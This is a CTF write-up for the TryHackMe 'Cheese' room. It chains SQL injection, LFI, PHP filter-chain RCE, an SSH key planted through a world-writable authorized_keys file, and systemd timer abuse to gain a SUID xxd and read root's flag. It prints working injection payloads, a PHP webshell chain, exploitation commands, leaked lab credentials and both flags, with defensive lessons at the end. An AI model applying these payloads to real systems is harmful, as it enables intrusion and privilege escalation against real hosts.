Back to CTF Writeups

Cheese — TryHackMe CTF

SQL injection to auth bypass, LFI via raw include(), PHP filter chain RCE (Synacktiv technique), SSH pivot via world-writable authorized_keys, and systemd timer abuse for SUID privesc. 2 flags.

TryHackMeEasy20260xb0rn3 | oxbv1

Overview

The Cheese Shop — a PHP webapp riddled with classic web vulns chained together for full compromise. Every step unlocks the next: SQLi → LFI → source leak → RCE → SSH → systemd timer abuse → root.

SQLi (time-based blind + UNION bypass) → LFI via include() → PHP source leak (php://filter) → RCE (Synacktiv filter chain) → SSH via world-writable authorized_keys → user.txt → systemd timer abuse → SUID xxd → root.txt

Decoy Ports

Ports 21, 443, 3306, 5432, 8080, 8443 were open with misleading banners — intentional misdirection. Only 22 (SSH) and 80 (HTTP) are real.

Step 1: SQL Injection

Time-Based Blind SQLi

SQLmap identified a time-based blind injection in the username POST parameter on /login.php:

Parameter: username (POST)
Type: time-based blind
Payload: admin' AND (SELECT 3045 FROM (SELECT(SLEEP(5)))VIzb)
         AND 'YtTY'='YtTY

PHP Source Disclosure via LFI

Successful login redirected to secret-script.php?file=supersecretadminpanel.html. The file parameter is a raw include() — no sanitization:

<?php
  if(isset($_GET['file'])) {
    $file = $_GET['file'];
    include($file);  // wide open LFI
  }
?>

Reading login.php source via php://filter:

GET /secret-script.php?file=php://filter/convert.base64-encode/resource=login.php

Source Leak Findings

  • MySQL creds: comte:VeryCheezyPassword (database: users)
  • OR filter: filterOrVariations() strips OR/or from username — but doesn’t block UNION
  • Password storage: MD5 hash comparison

UNION Auth Bypass

Since OR is filtered but UNION isn’t, we inject a fake row with a known MD5 hash:

POST /login.php
username=' UNION SELECT 1,2,'098f6bcd4621d373cade4e832627b4f6'-- -
password=test

(098f6bcd4621d373cade4e832627b4f6 = md5('test'))

Result: HTTP 302 → secret-script.php?file=supersecretadminpanel.html

Step 2: LFI to RCE

LFI Confirmed

GET /secret-script.php?file=../../../etc/passwd

Users with shells: comte (uid 1000), ubuntu (uid 1001).

PHP Wrapper Testing

WrapperStatusReason
php://filterWorkingReads files via base64 encode
php://inputBlockedallow_url_include disabled
data://Blockedallow_url_include disabled
/proc/self/environBlockedNot readable by www-data

PHP Filter Chain RCE (Synacktiv)

The admin message page hints: “If you know, you know :D” — referencing the Synacktiv PHP filter chain exploit. RCE through LFI using convert.iconv chains — no allow_url_include needed.

python3 php_filter_chain_generator.py \
  --chain '<?php system($_GET["cmd"]); ?>'
GET /secret-script.php?cmd=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|...|convert.base64-decode/resource=php://temp

uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE Achieved

Full command execution as www-data via the filter chain — no file upload, no log poisoning, no allow_url_include. Pure PHP filter gadget abuse.

Step 3: SSH as comte

World-Writable authorized_keys

$ ls -la /home/comte/.ssh/
-rw-rw-rw- 1 comte comte 0 authorized_keys

authorized_keys is world-writable. Generate a key and write it:

ssh-keygen -t ed25519 -f /tmp/cheese_key -N ""
PUBKEY=$(cat /tmp/cheese_key.pub)

curl -s "http://TARGET/secret-script.php" --get \
  --data-urlencode "cmd=echo '${PUBKEY}' > /home/comte/.ssh/authorized_keys" \
  --data-urlencode "file=${CHAIN}"

ssh -i /tmp/cheese_key comte@TARGET
cat ~/user.txt
user.txt: THM{9f2ce3df1beeecaf695b3a8560c682704c31b17a}

Step 4: Privilege Escalation

sudo Permissions

$ sudo -l
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) NOPASSWD: /bin/systemctl restart exploit.timer
(ALL) NOPASSWD: /bin/systemctl start exploit.timer
(ALL) NOPASSWD: /bin/systemctl enable exploit.timer

World-Writable systemd Timer

-rwxrwxrwx 1 root root 87 /etc/systemd/system/exploit.timer

The associated exploit.service runs as root and copies xxd with SUID:

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

Trigger the Timer

Modify exploit.timer to fire immediately:

[Unit]
Description=Exploit Timer
[Timer]
OnBootSec=1s
OnActiveSec=1s
[Install]
WantedBy=timers.target
sudo /bin/systemctl daemon-reload
sudo /bin/systemctl start exploit.timer
sleep 3
ls -la /opt/xxd
# -rwsr-sr-x 1 root root 18712 /opt/xxd

Read Root Flag via SUID xxd

/opt/xxd /root/root.txt | xxd -r
root.txt: THM{dca75486094810807faf4b7b0a929b11e5e0167c}

Lessons Learned

  1. Never use raw include() on user input. Even without allow_url_include, the Synacktiv filter chain technique achieves RCE through iconv gadgets alone.
  2. Incomplete input filtering is worse than none. Filtering OR but not UNION gives a false sense of security. Use parameterized queries.
  3. File permissions are an attack surface. World-writable authorized_keys and systemd unit files are instant privilege escalation vectors.
  4. systemd timers can be weaponized. If a user can modify timer/service files and has sudo systemctl, they control what runs as root.
  5. SUID binaries as file readers. xxd with SUID can read any file on the system — it’s on GTFOBins for a reason.

Attack Summary

StepTechniqueDetail
1SQL InjectionTime-based blind + UNION auth bypass
2LFIRaw include() in secret-script.php
3Source Leakphp://filter/convert.base64-encode
4RCEPHP filter chain (Synacktiv iconv gadgets)
5Lateral MoveWorld-writable authorized_keys → SSH
6PrivescWorld-writable timer → SUID xxd → root.txt